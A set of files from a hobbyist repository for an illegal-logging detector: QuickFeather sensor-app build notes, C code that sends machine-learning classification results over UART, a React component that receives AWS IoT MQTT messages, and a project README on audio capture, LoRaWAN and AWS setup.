to start running the qf_ssi_ai_app application.\n\n5. Connect a UART to the Quickfeather board. Open a terminal\n application, set its baud to 4608000 bps to get the recognition\n results from the running application.\n\nFor details on data collection, building an AI model, and recognition\nplease refer to `SensiML Getting\nStarted <https://sensiml.com/documentation/guides/getting-started/index.html>`__\n\nBuilding and running the project for saving data to an SD card:\n----------------------------------------------------------\n\nSaving sensor data and recognition results to a QLSM file format is supported\nin this version. The QLSM file can later be imported into the `Data Capture\nLab <https://sensiml.com/products/data-capture-lab/>`__\n\nQuickfeather does not have a built-in SD card. Use an Adalogger featherwing\nconnected to the Quickfeather to use the sensor data saving to SD card feature.\n\nFile system library selection\n~~~~~~~~~~\n\nSelect the desired filesystem library to use by updating the following macros \nin the source file `Fw_global_config.h <inc/Fw_global_config.h>`__. FatFs is\nthe default and recommended library to use with qorc-sdk\n\n::\n\n /* The following macros select the filesystem used in the QLFS Library */\n /* Select the filesystem API to use */\n #define USE_FREERTOS_FAT 0 ///< Set this to 1 to use FreeRTOS FAT filesystem (Merced default)\n #define USE_FATFS 1 ///< Set this to 1 to use FATFs filesystem\n\nFile size selection\n~~~~~~~~~~~\n\nThe amount of data collected and saved to the SD card can quickly grow in size \nbased on the number of channels being recorded and the sensor data sample rate\nselections. Assigning a positive value to the following macro in the source file\n`Fw_global_config.h <inc/Fw_global_config.h>`__ will cause the data save task\nto use a new file each time the size reaches the limit specified in this macro.\n\n::\n\n /* Select the maximum file size for storing the sensor data */\n #define RIFF_FILE_SIZE_MAX (1024*4*25) // 100KB\n\nFilename conventions\n~~~~~~~~~~~\n\nA timestamp or a sequential counter may be used as suffix to the auto generated\nfilenames where the sensor data will be stored. Enable the desired macro in the \nsource file `Fw_global_config.h <inc/Fw_global_config.h>`__.\n\n::\n\n // Select one of the filenaming generation when RIFF_FILE_SIZE_MAX is defined\n #define RIFF_AUTO_SEQUENCE_FILENAMES (0) // Set to 1 to use sequential count appended to filename\n #define RIFF_TIMESTAMP_SEQUENCE_FILENAMES (1) // Set to 1 to use timestamp appended to filename\n #define USE_DCL_FILENAME_ONLY (0)\n\n\n1. Verify that the following macros is set for saving data to SD card \n\n (a) in the source file `Fw_global_config.h <inc/Fw_global_config.h>`__.\n\n::\n\n #define S3AI_FIRMWARE_MODE S3AI_FIRMWARE_MODE_COLLECTION\n\nTo save recognition results to the SD card, enable the macro DATASAVE_RECOGNITION_RESULTS\n\n::\n\n /* Select whether to save recognition results to SD card*/\n #define DATASAVE_RECOGNITION_RESULTS (1) // Set this to 1 to save recognition results to SD card\n\n\n (b) in the source file `sensor_ssss.h <inc/sensor_ssss.h>`__.\n\n::\n\n /* Select whether to save sensor data to SD card or not */\n #define SENSOR_SSSS_DATASAVE_ENABLED 1 /* Enable datasave to SD card for data collection */\n\n2. Use the provided `Makefile <GCC_Project/Makefile>`__ and an\n appropriate ARM GCC toolchain to build the project\n\n3. Use the flash programming procedure to flash the binary to\n Quickfeather board.\n\n4. Reset the board to start running the qf_ssi_ai_app application.\n\n5. Connect a UART to the Quickfeather board. Open a terminal\n application, set its baud to 4608000 bps to start saving the\n sensor data to the SD card.\n\nAdding a sensor\n---------------\n\nThe default project uses the onboard Accelerometer sensor for data\ncollection. This section provides basic guideline on adding a new sensor\nto the project for data collection. Sensor data acquisition and\nprocessing or transfer to an external application such as `Data Capture\nLab <https://sensiml.com/products/data-capture-lab/>`__ uses `datablock\nmanager <../../qf_vr_apps#datablock-manager>`__\n(qorc-sdk/Libraries/DatablockManager) and `datablock\nprocessor <../../qf_vr_apps#datablock-processor>`__\n(qorc-sdk/Tasks/DatablockProcessor) for acquiring samples and processing\nthese acquired samples. Qorc-sdk uses `Simple Streaming\nInterface <https://sensiml.com/documentation/simple-streaming-specification/introduction.html>`__\nprotocol to send the acquired sensor data over to the [DataCaptureLab]\n\nFreeRTOS software timer is used to trigger a timer event to read 1\nsample from the sensor and fill the datablock. When enough samples are\ncollected (determined by the sensor sample rate, and latency), the\ndatablock is processed and the samples are sent over the UART using the\n`Simple Streaming\nInterface <https://sensiml.com/documentation/simple-streaming-specification/introduction.html>`__.\n\nThe `Wire interface <inc/Wire.h>`__ may be used to provide the requrired configuration\nand sample acquisition member functions to configure and read data from\nthe new sensor.\n\nConfigure the sensor\n--------------------\n\nTo add a new sensor start with the sensor_ssss.h and sensor_ssss.c\nsource files. Sensor sampling rate and number of channels are specified\nin the macros defined in the header file sensor_ssss.h. Configuring and\nreading from the sensor requires atleast 3 member functions:\n\n- begin() this member function initializes and configures the new\n sensor.\n- set_sample_rate() this member function sets the desired sample rate\n for this sensor\n- read() reads 1 sample of data from this sensor. To make synchronizing\n and fusing multiple sensor data easier, this function simply retries\n the current sample available in the sensor and returns the value.\n\n.. _sensor_ssssh:\n\nsensor_ssss.h\n~~~~~~~~~~~~~\n\nModify the header file sensor_ssss.h and update the following macros\n\n- SENSOR_SSSS_SAMPLE_RATE to specify the desired sensor sampling rate\n- SENSOR_SSSS_CHANNELS_PER_SAMPLE to specify the desired number of\n channels for the new sensor\n- SENSOR_SSSS_LATENCY default latency is set to 20ms. This value\n determines how often the samples are processed and transmitted to the\n DCL (`Data Capture\n Lab <https://sensiml.com/products/data-capture-lab/>`__). The default\n value may be left as is.\n\nThe above macros determine the number of samples held in one datablock.\nThese datablocks are held in the array sensor_ssss_data_blocks[].\n\n.. _sensor_ssssc:\n\nsensor_ssss.c\n~~~~~~~~~~~~~\n\n- Update the function sensor_ssss_configure() to initialize and setup\n the sensor configuration. The example code uses the following code\n snippet to configure the onboard accelerometer sensor.\n\n ::\n\n MC3635 qorc_ssi_accel;\n\n ::\n\n qorc_ssi_accel.begin();\n qorc_ssi_accel.set_sample_rate(sensor_ssss_config.rate_hz);\n qorc_ssi_accel.set_mode(MC3635_MODE_CWAKE);\n\nOutput data description\n-----------------------\n\nUpdate the string value definition of json_string_sensor_config in\nsensor_ssss.cpp for the new sensor added to this project. The example\nproject which uses 3-channel onboard accelerometer is described using\nthe following string:\n\n::\n\n {\n sample_rate:100,\n samples_per_packet:6,\n column_location:{\n AccelerometerX:0,\n AccelerometerY:1,\n AccelerometerZ:2\n }\n }\n\nRefer the SensiML `Data Capture\nLab <https://sensiml.com/products/data-capture-lab/>`__ for details\n\nAcquring and processing sensor samples\n--------------------------------------\n\nBased on the sensor sample rate, a FreeRTOS soft timer triggers\nrequesting 1 sensor sample to be filled-in the datablock.\n\n.. _sensor_ssssc-1:\n\nsensor_ssss.c\n~~~~~~~~~~~~~\n\n- Update the function sensor_ssss_acquisition_buffer_ready to read 1\n sample (16-bits per channel) into the current datablock. This\n function returns 1 if datablock is ready for processing, returns 0\n otherwise.\n\n The example code uses the following code snippet to configure the\n onboard accelerometer sensor.\n\n.. code:: c++\n\n xyz_t accel_data = qorc_ssi_accel.read(); /* Read accelerometer data from MC3635 */\n \n /* Fill this accelerometer data into the current data block */\n int16_t *p_accel_data = (int16_t *)p_dest;\n \n *p_accel_data++ = accel_data.x;\n *p_accel_data++ = accel_data.y;\n *p_accel_data++ = accel_data.z;\n \n p_dest += 6; // advance datablock pointer to retrieve and store next sensor data\n\nCapturing the sensor samples\n----------------------------\n\n- Sensor samples are sent using the `Simple Streaming\n Interface <https://sensiml.com/documentation/simple-streaming-specification/introduction.html>`__.\n A 16-bit little-endian data format is used for sending each channel's\n sample data. Quickfeather uses either an S3 UART or the USB serial to\n transmit these data. Sensor samples may be captured using `Data\n Capture Lab <https://sensiml.com/products/data-capture-lab/>`__\n\nAccelerometer sensor example\n----------------------------\n\nAn example accelerometer (mCube's MC3635) sensor available onboard is\nprovided as part of this application. The MC3635 class interface to\nconfigure and read data from the sensor is available in the source files\nmc3635_wire.cpp and mc3635_wire.h. The sensor configuration function\nsensor_ssss_configure() uses the begin() function of the class MC3635 to\nconfigure and set up the accelerometer for acquiring samples\napproximately at the chosen sampling rate (SENSOR_SSSS_SAMPLE_RATE).\n\nTo read samples the configured sampling rate, sensor data read is\nperformed when the FreeRTOS soft timer triggers the function\nsensor_ssss_acquisition_buffer_ready(). The read() member function is\nused to read three 16-bit samples and fill-in the current data block.\nWhen 20ms (= SENSOR_SSSS_LATENCY) samples are filled in the data block,\nthese samples are processed by the function\nsensor_ssss_livestream_data_processor() to send these samples over UART\nusing `Simple Streaming\nInterface <https://sensiml.com/documentation/simple-streaming-specification/introduction.html>`__.\n\nSparkFun ADS1015 Example\n------------------------\n\nThis section describes the steps to add `SparkFun Qwiic 12-bit\nADC <https://www.sparkfun.com/products/15334>`__ sensor (ADS1015) to\nthis project.\n\nObtain the `SparkFun ADS1015 Arduino\nLibrary <https://github.com/sparkfun/SparkFun_ADS1015_Arduino_Library/tree/master/src>`__\ncode and add these source files to the qf_ssi_ai_app/src folder. Update\nthe SparkFun_ADS1015_Arduino_Library.cpp to resolve the missing function\ndelay(), and provide definitions for the following data types\n\n- boolean\n- byte\n\nUpdate sensor_ssss.h and sensor_ssss.cpp as described in the above\nsections. For example, to replace the accelerometer with only the\n`SparkFun Qwiic 12-bit ADC <https://www.sparkfun.com/products/15334>`__\nsensor update following macro definition for\nSENSOR_SSSS_CHANNELS_PER_SAMPLE in sensor_ssss.h with the following code\nsnippet:\n\n::\n\n #define SENSOR_SSSS_CHANNELS_PER_SAMPLE ( 1) // Number of channels\n\nAdd a class instance of the ADS1015 to the source file sensor_ssss.cpp\nas shown below:\n\n::\n\n ADS1015 qorc_ssi_adc ;\n\nUpdate the function sensor_ssss_configure in sensor_ssss.cpp to replace\nthe accelerometer initialization and sample readings with following code\nsnippet:\n\n::\n\n qorc_ssi_adc.begin();\n qorc_ssi_adc.setSampleRate(sensor_ssss_config.rate_hz);\n\nUpdate the sensor_ssss_acquisition_buffer_ready function in\nsensor_ssss.cpp to replace the accelerometer sensor reading with the\nfollowing code snippet to read Channel 3 of the ADS1015 sensor.\n\n::\n\n int16_t adc_data = qorc_ssi_adc.getSingleEnded(3);\n *p_dest = adc_data;\n p_dest += 1; // advance datablock pointer to retrieve and store next sensor data \n\nUpdate the string value definition of json_string_sensor_config in\nsensor_ssss.cpp as described in above section.\n\nBuild and load the project to the Quickfeather.\n\nConnect a `SparkFun Qwiic 12-bit\nADC <https://www.sparkfun.com/products/15334>`__ sensor to the\nQuickfeather using the following pinouts\n\n============== ============\nADS1015 module Quickfeather\n============== ============\nSCL J2.11\nSDA J2.12\nGND J8.16\nVcc J8.15\n============== ============\n\nSparkFun Qwiic Scale NAU7802 Example\n------------------------------------\n\nThis section describes the steps to add `SparkFun Qwiic Scale -\nNAU7802 <https://www.sparkfun.com/products/15242>`__ sensor to this\nproject.\n\nObtain the `SparkFun Qwiic Scale NAU7802 Arduino\nLibrary <https://github.com/sparkfun/SparkFun_Qwiic_Scale_NAU7802_Arduino_Library>`__\ncode and add these source files to the qf_ssi_ai_app/src folder. Update\nthe SparkFun_Qwiic_Scale_NAU7802_Arduino_Library.cpp to resolve the\nmissing functions delay(), and millis()\n\nAdd a class instance of the ADS1015 to the source file sensor_ssss.cpp\nas shown below:\n\n::\n\n NAU7802 qorc_ssi_scale;\n\nUpdate sensor_ssss.h and sensor_ssss.cpp as described in the above\nsections. For example, to replace the accelerometer with only the\n`SparkFun Qwiic Scale -\nNAU7802 <https://www.sparkfun.com/products/15242>`__ sensor update\nfollowing macro definition for SENSOR_SSSS_CHANNELS_PER_SAMPLE in\nsensor_ssss.h with the following code snippet:\n\n.. code:: c++\n\n #define SENSOR_SSSS_CHANNELS_PER_SAMPLE ( 1) // Number of channels\n\nUpdate the function sensor_ssss_configure in sensor_ssss.cpp to replace\nthe accelerometer initialization and sample readings with following code\nsnippet:\n\n.. code:: c++\n\n qorc_ssi_scale.begin();\n qorc_ssi_scale.setSampleRate(sensor_ssss_config.rate_hz);\n\nUpdate the sensor_ssss_acquisition_buffer_ready function in\nsensor_ssss.cpp to replace the accelerometer sensor reading with the\nfollowing code snippet to read a sample from the scale. Qwiic scale\noutputs a 24-bit value where as the data capture is only capable of\n16-bit sensor readings. So, adjust the returned reading to write 16-bit\nvalue into the datablock buffer as shown in the code snippet below.\n\n.. code:: c++\n\n int16_t scale_data = qorc_ssi_scale.getReading() >> 8;\n *p_dest = scale_data;\n p_dest += 1; // advance datablock pointer to retrieve and store next sensor data \n\nUpdate the string value definition of json_string_sensor_config in\nsensor_ssss.cpp as described in above section.\n\nBuild and load the project to the Quickfeather.\n\nConnect a `SparkFun Qwiic Scale -\nNAU7802 <https://www.sparkfun.com/products/15242>`__ sensor to the\nQuickfeather using the following pinouts\n\n============== ============\nNAU7802 module Quickfeather\n============== ============\nSCL J2.11\nSDA J2.12\nGND J8.16\nVcc J8.15\n============== ============\n\nBuilding and running the project for data collection mode:\n----------------------------------------------------------\n\nRefer `Qwiic Scale Hookup\nGuide <https://learn.sparkfun.com/tutorials/qwiic-scale-hookup-guide?_ga=2.193267885.1228472612.1605042107-1202899191.1566946929>`__\nfor details. Quickfeather is now ready to stream data to `Data Capture\nLab <https://sensiml.com/products/data-capture-lab/>`__\n" }, { "alpha_fraction": 0.6413333415985107, "alphanum_fraction": 0.6566666960716248, "avg_line_length": 31.96703338623047, "blob_id": "2a738b8e0349014f862cb1278d835c10b08aa4da", "content_id": "0d41a73cf382b57f54e7ff24e4652354be340cb0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3000, "license_type": "permissive", "max_line_length": 158, "num_lines": 91, "path": "/Capture Project/src/sml_output.c", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "/*==========================================================\n * Copyright 2020 QuickLogic Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *==========================================================*/\n\n#include \"Fw_global_config.h\"\n#include <stdint.h>\n#include \"sml_output.h\"\n#include \"kb.h\"\n#include \"eoss3_hal_uart.h\"\n#include \"ql_time.h\"\n#include <stdio.h>\n#define SERIAL_OUT_CHARS_MAX 512\n\n#ifdef __GNUC__\n#pragma GCC diagnostic ignored \"-Wunused-function\"\n#endif\n\n\nstatic char serial_out_buf[SERIAL_OUT_CHARS_MAX];\n\nstatic void sml_output_led(uint16_t model, uint16_t classification)\n{\n //Unused for right now.\n}\n\n#define SENSOR_SSSS_RESULT_BUFLEN (512)\nuint8_t sensor_ssss_ai_fv_arr[MAX_VECTOR_SIZE];\nuint8_t sensor_ssss_ai_fv_len;\nchar sensor_ssss_ai_result_buf[SENSOR_SSSS_RESULT_BUFLEN];\nextern void data_save_recognition_results(char *sensor_ssss_ai_result_buf, int wbytes);\nstatic void sml_output_serial(uint16_t model, uint16_t classification)\n{\n int count;\n int wbytes = 0;\n int buflen = sizeof(sensor_ssss_ai_result_buf)-1;\n\tint ret;\n kb_get_feature_vector(model, sensor_ssss_ai_fv_arr, &sensor_ssss_ai_fv_len);\n count = snprintf(sensor_ssss_ai_result_buf, buflen,\n \"{\\\"ModelNumber\\\":%d,\\\"Classification\\\":%d,\\\"FeatureLength\\\":%d,\\\"FeatureVector\\\":[\",(int)model,(int)classification, (int)sensor_ssss_ai_fv_len);\n wbytes += count;\n buflen -= count;\n for(int j=0; j < (int)(sensor_ssss_ai_fv_len-1); j++)\n {\n \tcount = snprintf(&sensor_ssss_ai_result_buf[wbytes], buflen, \"%d,\", sensor_ssss_ai_fv_arr[j]);\n wbytes += count;\n\t buflen -= count;\n }\n\tcount = snprintf(&sensor_ssss_ai_result_buf[wbytes], buflen, \"%d]}\\n\", sensor_ssss_ai_fv_arr[sensor_ssss_ai_fv_len-1]);\n wbytes += count;\n buflen -= count;\n uart_tx_raw_buf(UART_ID_SSI, sensor_ssss_ai_result_buf, wbytes);\n data_save_recognition_results(sensor_ssss_ai_result_buf, wbytes);\n}\n\nstatic intptr_t last_output;\n\nuint32_t sml_output_results(uint16_t model, uint16_t classification)\n{\n\n //kb_get_feature_vector(model, recent_fv_result.feature_vector, &recent_fv_result.fv_len);\n\n /* LIMIT output to 100hz */\n\n if( last_output == 0 ){\n last_output = ql_lw_timer_start();\n }\n\n if( ql_lw_timer_is_expired( last_output, 10 ) ){\n last_output = ql_lw_timer_start();\n \tsml_output_serial(model, classification);\n }\n return 0;\n}\n\nuint32_t sml_output_init(void * p_module)\n{\n\t//unused for now\n return 0;\n}\n" }, { "alpha_fraction": 0.6371681690216064, "alphanum_fraction": 0.6371681690216064, "avg_line_length": 11.666666984558105, "blob_id": "628a26ee79c6690b640e3cd219895d24c6ab52d3", "content_id": "79d1bdd7f2a7048031c7e9f2f69de15f1cd041e7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 113, "license_type": "permissive", "max_line_length": 30, "num_lines": 9, "path": "/Webapp/src/components/Maps/Source/index.js", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "import vector from \"./vector\";\nimport xyz from \"./xyz\";\nimport osm from \"./osm\";\n\nexport {\n\tvector,\n\txyz,\n\tosm\n};" }, { "alpha_fraction": 0.5660377144813538, "alphanum_fraction": 0.5704599022865295, "avg_line_length": 28.504348754882812, "blob_id": "6b1781d1d2d62102d71d690ed590bddf1afccf2d", "content_id": "3159092b03172af0e6e315269f09ab2704e23f7a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3392, "license_type": "permissive", "max_line_length": 153, "num_lines": 115, "path": "/Webapp/src/components/iot-reciever-aws.js", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "import React, { Component } from 'react';\n\nvar AWS = require('aws-sdk');\nvar AWSIoTData = require('aws-iot-device-sdk');\nvar AWSConfiguration = require('./aws-configuration.js');\n\nAWS.config.region = AWSConfiguration.region;\nAWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: AWSConfiguration.poolId });\nvar cognitoIdentity = new AWS.CognitoIdentity();\nAWS.config.credentials.get(function (err, data) {\n if (!err) {\n\n var params = { IdentityId: AWS.config.credentials.identityId };\n cognitoIdentity.getCredentialsForIdentity(params, function (err, data) {\n if (!err) { mqttClient.updateWebSocketCredentials(data.Credentials.AccessKeyId, data.Credentials.SecretKey, data.Credentials.SessionToken); }\n else {\n console.log('error retrieving credentials: ');\n alert('error retrieving credentials: ');\n }\n });\n }\n else { console.log('error retrieving identity:'); }\n});\n\nvar messageHistory = '';\nvar refresh = 0;\nvar clientId = 'mqtt-explorer-' + (Math.floor((Math.random() * 100000) + 1));\n\nvar mqttClient = AWSIoTData.device({\n region: AWS.config.region,\n host: AWSConfiguration.host,\n clientId: clientId,\n protocol: 'wss',\n maximumReconnectTimeMs: 1000,\n debug: true,\n accessKeyId: '',\n secretKey: '',\n sessionToken: ''\n});\n\nclass IotReciever extends Component {\n componentDidMount() {\n let sub_topics = this.props.sub_topics\n let _this = this\n\n window.mqttClientConnectHandler = function () {\n console.clear();\n console.log(\"Connected\")\n console.log(sub_topics)\n for (let i = 0; i < sub_topics.length; i++) {\n console.log(\"Sub:\"+sub_topics[i])\n mqttClient.subscribe(sub_topics[i]);\n }\n messageHistory = '';\n }\n\n window.mqttClientReconnectHandler = function () {\n console.log('reconnect : times : ' + refresh.toString());\n };\n\n window.mqttClientMessageHandler = function (topic, payload) {\n for (let i = 0; i < sub_topics.length; i++) {\n if (topic === sub_topics[i]) {\n messageHistory = payload.toString()\n _this.props.callback([topic,messageHistory])\n }\n }\n messageHistory = \"\";\n }\n\n window.updateSubscriptionTopic = function () {\n\n };\n\n window.clearHistory = function () {\n if (1 === true) {\n messageHistory = '';\n }\n };\n\n window.updatePublishTopic = function () { };\n\n window.updatePublishData = function () {\n\n };\n\n mqttClient.on('connect', window.mqttClientConnectHandler);\n mqttClient.on('reconnect', window.mqttClientReconnectHandler);\n mqttClient.on('message', window.mqttClientMessageHandler);\n mqttClient.on('close', function () {\n console.log('close');\n });\n mqttClient.on('offline', function () {\n console.log('offline');\n });\n mqttClient.on('error', function (error) {\n console.log('error', error);\n });\n }\n\n componentWillUnmount() {\n mqttClient.end();\n }\n\n render() {\n\n return (\n <>\n </>\n );\n }\n}\n\n\nexport default IotReciever;" }, { "alpha_fraction": 0.698253870010376, "alphanum_fraction": 0.7117639780044556, "avg_line_length": 32.24576187133789, "blob_id": "08527ed4ec94d4e2d9f0660fa591d9b2576737af", "content_id": "35e2e6dc57c752b7533eaf1b13c775e77557aca7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 15694, "license_type": "permissive", "max_line_length": 274, "num_lines": 472, "path": "/README.md", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "# Illegal Logging Detector \n\n<img src=\"./Images/logo.png\">\n\n# Table of Contents: \n \n- [Illegal Logging Detector](#illegal-logging-detector)\n- [Table of Contents:](#table-of-contents)\n- [Introduction:](#introduction)\n- [Solution:](#solution)\n - [Features:](#features)\n- [Hardware, Software and Services:](#hardware-software-and-services)\n - [Hardware:](#hardware)\n - [Software:](#software)\n - [Services:](#services)\n- [Connection Diagram:](#connection-diagram)\n - [Backend Diagram:](#backend-diagram)\n - [Hardware Diagram:](#hardware-diagram)\n- [Capturing Data:](#capturing-data)\n - [Setting up the Quickfeather:](#setting-up-the-quickfeather)\n - [Capturing Data:](#capturing-data)\n - [Labeling Data:](#labeling-data)\n- [SensiML:](#sensiml)\n- [Testing Model:](#testing-model)\n- [Serial Interface:](#serial-interface)\n- [LoraWAN Module:](#lorawan-module)\n - [Hardware:](#hardware-1)\n - [Sofware:](#sofware)\n - [**Configure the credentials in the TTN creds.h file**](#configure-the-credentials-in-the-ttn-credsh-file)\n - [**Set the correct frequency of LoraWAN**](#set-the-correct-frequency-of-lorawan)\n - [**Serial to LoraWAN Processing**](#serial-to-lorawan-processing)\n - [TTN:](#ttn)\n - [TTN to AWS IoT:](#ttn-to-aws-iot)\n - [**TTN MQTT to AWS API Gateway**:](#ttn-mqtt-to-aws-api-gateway)\n - [**AWS API Gateway to AWSLambda**:](#aws-api-gateway-to-awslambda)\n - [**AWSLambda to AWS IoT**:](#awslambda-to-aws-iot)\n - [Backend DEMO:](#backend-demo)\n- [Power Consumption:](#power-consumption)\n- [WebPage Deploy:](#webpage-deploy)\n - [AWS Cognito:](#aws-cognito)\n - [AWS IoT WebSocket:](#aws-iot-websocket)\n - [**Decode IN Data**:](#decode-in-data)\n- [Final Product:](#final-product)\n- [EPIC DEMO:](#epic-demo)\n\n# Introduction:\n\nAvoid illegal logging in protected areas.\n\nWe can find that just in Mexico (my home country) [1] 70 percent of the wood consumed is of illegal origin according to a study carried out by one of the most prestigious universities UNAM (QS ranking # 100).\n\nhttps://translate.google.com/translate?sl=es&tl=en&u=https://www.dgcs.unam.mx/boletin/bdboletin/2018_173.html\n\n<img src=\"./Images/treeee.jpg\" >\n\nI’ll create a system that is capable of recognizing, through Machine Learning the sounds generated by falling trees, chainsaws and human voices in protected areas, thus warning that illegal logging may be occurring.\n\nI especially want a system that can help protect forests and the species that inhabit them.\n\n<img src=\"./Images/fores (1).jpg\" height=\"200\" ><img src=\"./Images/fores (2).jpg\" height=\"200\" >\n\nMost solutions are based on raising awareness, but looking at more dedicated solutions we can find:\n\nTreeTAG is an emerging smartphone-based supply chain traceability system developed by Earth Observation Systems that tracks the location of logs transported from the forest to the mill.\n\nDisadvantages: Very complex system that requires authorized personnel to be manipulated.\n\nStardust is a dust-like material that can be sprayed onto wood and detected only with a hand-held device. \n\nDisadvantages: You need to tag manually every tree which is labor intensive and expensive..\n\n# Solution:\n\nThe system, will be easily reproducible, energy efficient and powerful thanks to the ML algorithms that will be implemented combined with the cloud services that we will use for deployment.\n\n<img src=\"./Images/saws.png\" >\n\nWith the Infineon IM69D130 PDM digital microphone included in the QuickFeather Development Kit i will obtain an audio signal which, through SensiML, we can pass through a neural network. That will tell us if the noise of a saw cutting the trees or human voice in the forest.\n\nDisplaying the information of the events detected in a simple webapp, together with a map which will indicate the position of the event.\n\n## Features:\n\n* Low-power battery consumption (Quickfeather and LoraWAN).\n* High accuracy (thanks to sensiml).\n* Easy production at large scale, due to its simplicity.\n\n# Hardware, Software and Services:\n\n## Hardware:\n\n* QuickFeather Development Kit. 1x.\n * https://www.quicklogic.com/products/eos-s3/quickfeather-development-kit/\n* B-L072Z-LRWAN1. 1x.\n * https://www.st.com/en/evaluation-tools/b-l072z-lrwan1.html\n* X-NUCLEO-IKS01A3. 1x.\n * https://www.st.com/en/ecosystems/x-nucleo-iks01a3.html\n* AAA Batteries. 3x.\n\n## Software:\n\n* SensiML.\n * https://sensiml.com/\n* Data capture lab.\n * https://sensiml.com/products/data-capture-lab/\n* Python.\n * https://www.python.org/\n* ReactJS.\n * https://reactjs.org/\n* OpenLayers Maps.\n * https://openlayers.org/\n* Qorc SDK.\n * https://github.com/QuickLogic-Corp/qorc-sdk/\n* Zephyr RTOS.\n * https://www.zephyrproject.org/\n\n## Services:\n\n* Docker.\n * https://www.docker.com/\n* AWS ECR.\n * https://aws.amazon.com/ecr/\n* AWS ECS.\n * https://aws.amazon.com/ecs/\n* AWS Lambda.\n * https://aws.amazon.com/lambda/\n* AWS API Gateway.\n * https://aws.amazon.com/api-gateway/\n* AWS IoT.\n * https://aws.amazon.com/iot/\n* AWS Cognito.\n * https://aws.amazon.com/cognito/\n* AWS S3.\n * https://aws.amazon.com/s3/\n\n# Connection Diagram:\n\n## Backend Diagram:\n\n<img src=\"./Images/diagram.png\">\n\n## Hardware Diagram:\n\n<img src=\"./Images/hardware.png\">\n\n# Capturing Data:\n\nIn this section I will explain how to measure the data from the QuickFeather to the Data capture lab.\n\n## Setting up the Quickfeather:\n\nFirst we have to configure the QuickFeather in data capture mode, in the Capture Project folder I leave the complete project with all the changes made to capture data.\n\nFrom the official documentation you can see all the steps to setup the development environment.\nhttps://github.com/QuickLogic-Corp/qorc-sdk\n\nIn case you only need to start capturing the data, I leave the compiled binary so that you can flash your QuickFeather with the program and be able to capture data quickly.\n\nVideo: Click on the image\n[![Capture](./Images/capture1.png)](https://youtu.be/UMFaDWV3vuo)\n\n## Capturing Data:\n\nIn the case of my project, the easiest thing was to record the sound of several chainsaws in order to properly train the model.\n\nNOTE: The captured audios will be in the SensiML Project folder.\n\nVideo: Click on the image\n[![Capture](./Images/capture2.png)](https://youtu.be/CJEcgRphHlY)\n\n## Labeling Data:\n\nIn this case, I did the labeling of the following categories for my model.\n\n<img src=\"./Images/label1.png\">\n\nThe system is capable of detecting the sound of mechanical saws, humans and neutral silence, in order to avoid false alarms of the system.\n\n# SensiML:\n\nThese were the specifications for the data in SensiML.\n\n<img src=\"./Images/sensi1.png\">\n\nThese were the specs of the model's training.\n\n<img src=\"./Images/sensi2.png\">\n\nHere the results of the precision of the model against the data used.\n\n<img src=\"./Images/sensi3.png\"> \n\nAnd finally the specifications of the compiled binary that is in the repository.\n\n<img src=\"./Images/sensi5.png\">\n\n# Testing Model:\n\nIn this case you can see in the video how the model works correctly for the detection of human voice and detection of a Chainsaw. We are doing this test by seeing the QuickFeather serial output.\n\nNOTE: the serial output is at 460800 baudrate, the board B-L072Z-LRWAN1 perfectly reaches these serial frequencies.\n\nVideo: Click on the image\n[![Capture](./Images/test.png)](https://youtu.be/ydsBVdKkfGk)\n\n# Serial Interface:\n\nIn order to send the results of the model to the B-L072Z-LRWAN1, we connect the TX pin of the board, which has a serial output at 460800 baudrate to the D2 pin as shown in the diagram.\n\n| QuickFeather PIN | B-L072Z-LRWAN1 PIN |\n|------------------|--------------------|\n| 3.3 V | 3.3 V |\n| GND | GND |\n| TX PIN | D2 |\n\n<hr />\n\n<img src=\"./Images/hardware.png\">\n\nFinally solder everything in a breadboard to avoid failures when using cables or jumpers.\n\n<img src=\"./Images/solder.jpg\" ><hr /><img src=\"./Images/solder2.jpg\" ><hr /><img src=\"./Images/solder3.jpg\" >\n\n# LoraWAN Module:\n\nIn this section we will explain all the details of the data transmission since we send the QuickFeather data by serial to the B-L072Z-LRWAN1, until it reaches AWS IoT.\n\n## Hardware:\n\nThe hardware used for this module was a B-L072Z-LRWAN1 and the X-NUCLEO-IKS01A3 sensor combo.\n\n* B-L072Z-LRWAN1.\n * https://www.st.com/en/evaluation-tools/b-l072z-lrwan1.html\n* X-NUCLEO-IKS01A3.\n * https://www.st.com/en/ecosystems/x-nucleo-iks01a3.html\n\n## Sofware:\n\nThe board software will be in the Serial2Lora_STM32L0 folder where the Arduino IDE project will be.\n\n<hr>\n\n### **Configure the credentials in the TTN creds.h file**\n\n(details of these credentials in the [TTN](#ttn) section).\n\n static const char *appEui = \"XXXXXXXXXXXXXXXX\";\n static const char *appKey = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\";\n static const char *devEui = \"XXXXXXXXXXXXXXXX\";\n\n<hr>\n\n### **Set the correct frequency of LoraWAN**\n\nUS915 for Mexico.\n\n #define REGION_US915\n\n<hr>\n\n### **Serial to LoraWAN Processing**\n\n if (Serial1.available()) {\n String temp = Serial1.readString(); // Reading Serial\n\n // Processing serial read to get classification only\n\n int checkpoint1 = temp.indexOf(\":\", 25);\n int checkpoint2 = temp.indexOf(\",\", 25);\n temp = temp.substring(checkpoint1 + 1, checkpoint2);\n\n // Append classification in lora message\n\n my_string = temp + \",\" + String(int(humidity)) + \",\" + String(int(temperature)) + \",\" + String(int(pressure));\n uint8_t payload[my_string.length() + 1];\n 